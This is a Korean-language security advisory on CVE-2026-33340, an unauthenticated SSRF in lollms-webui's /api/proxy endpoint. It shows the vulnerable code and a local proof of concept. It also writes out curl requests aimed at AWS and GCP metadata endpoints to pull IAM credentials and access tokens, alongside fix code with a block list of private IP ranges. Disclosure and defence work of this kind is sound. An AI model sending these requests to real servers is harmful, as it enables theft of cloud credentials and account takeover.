
CVE-2026-33340: lollms-webui /api/proxy의 치명적인 SSRF - 인증되지 않은 임의 요청 위조 (CVSS 9.1)
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-33340 |
| 취약점 | 서버 측 요청 위조 (SSRF) |
| 영향받는 제품 | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| 심각도 | Critical — CVSS 9.1 |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: 서버 측 요청 위조 (SSRF) |
| 영향받는 구성 요소 | lollms_core/lollms/server/endpoints/lollms_apps.py |
| 취약한 엔드포인트 | /api/proxy |
| 보안 권고 | GHSA-mcwr-5469-pxj4 |
| NVD | NVD 항목 |
| SentinelOne | SentinelOne 분석 |
| 발견자 | Regaan R — ROT 독립 보안 연구소 |
대규모 언어 및 멀티모달 시스템(Lord of Large Language and Multi modal Systems)의 웹 인터페이스인 lollms-webui에서 심각한 서버 측 요청 위조(SSRF) 취약점이 발견되었습니다. @router.post("/api/proxy") 엔드포인트는 인증되지 않은 공격자가 서버로 하여금 임의의 GET 요청을 보내도록 강제할 수 있게 합니다. 이를 악용하면 내부 서비스에 접근하거나, 로컬 네트워크를 스캔하거나, AWS/GCP IAM 토큰과 같은 민감한 클라우드 메타데이터를 유출할 수 있습니다.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (443-450행)/api/proxy이 취약점은 lollms_apps.py의 proxy 함수가 인증이나 URL/도메인 검증을 전혀 구현하지 않기 때문에 발생합니다. 이 함수는 사용자로부터 원시 URL 문자열을 받아 비동기 HTTP 클라이언트에 직접 전달합니다.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) 또는 어떠한 인증 미들웨어도 호출하지 않으므로, 인증되지 않은 모든 사용자가 이를 호출할 수 있습니다.httpx.AsyncClient().get()에 직접 전달됩니다.{"content": response.text}를 통해 호출자에게 반환되므로 완전한 데이터 유출이 가능합니다.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
서버는 내부 서비스에서 파일을 가져와 그 내용을 공격자에게 반환했습니다.
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
게시일 기준, 패치된 버전의 lollms-webui가 이미 출시되었습니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-03-07 | GitHub Security Advisory를 통해 취약점 발견 및 보고 |
| 2026-03-24 | CVE-2026-33340이 NVD에 게시됨 |
| 2026-03-25 | NVD 데이터베이스 항목 업데이트됨 |
| 2026-03-27 | SentinelOne이 취약점 분석 게시 |
Regaan R (@regaan) 수석 연구원 — ROT 독립 보안 연구소
이 문서는 교육 및 방어 목적으로만 게시되었습니다. 본 취약점은 GitHub Security Advisories를 통한 책임 있는 공개 절차로 보고되었습니다. 취약점을 테스트하기 전에 항상 적절한 승인을 받으십시오.
이 문서는 CC BY 4.0 라이선스로 배포됩니다.
| 시나리오 | 설명 |
|---|
| 클라우드 자격 증명 탈취 | 클라우드 플랫폼(AWS/GCP/Azure)의 공격자는 http://169.254.169.254/에 접근하여 인스턴스 메타데이터, IAM 자격 증명 및 액세스 토큰을 획득할 수 있습니다 — 이로 인해 전체 클라우드 계정이 손상될 수 있습니다. |
| 내부 네트워크 피보팅 | 공격자는 공개 인터넷에 노출되지 않은 내부 데이터베이스, API, 관리자 패널 및 관리 인터페이스를 탐색할 수 있습니다. |
| 로컬호스트 서비스 접근 | 공격자는 로컬 트래픽을 암묵적으로 신뢰하는 localhost 바인딩 서비스(Redis, Elasticsearch, Docker API, 데이터베이스 콘솔)에 접근할 수 있습니다. |
| 내부 포트 스캐닝 | SSRF를 사용하여 응답 시간과 오류 메시지를 관찰함으로써 내부 네트워크의 열린 포트와 실행 중인 서비스를 열거할 수 있습니다. |
| 데이터 유출 | 서버의 네트워크 접근 범위 내에서 HTTP로 접근 가능한 모든 데이터를 읽어 공격자에게 반환할 수 있습니다. |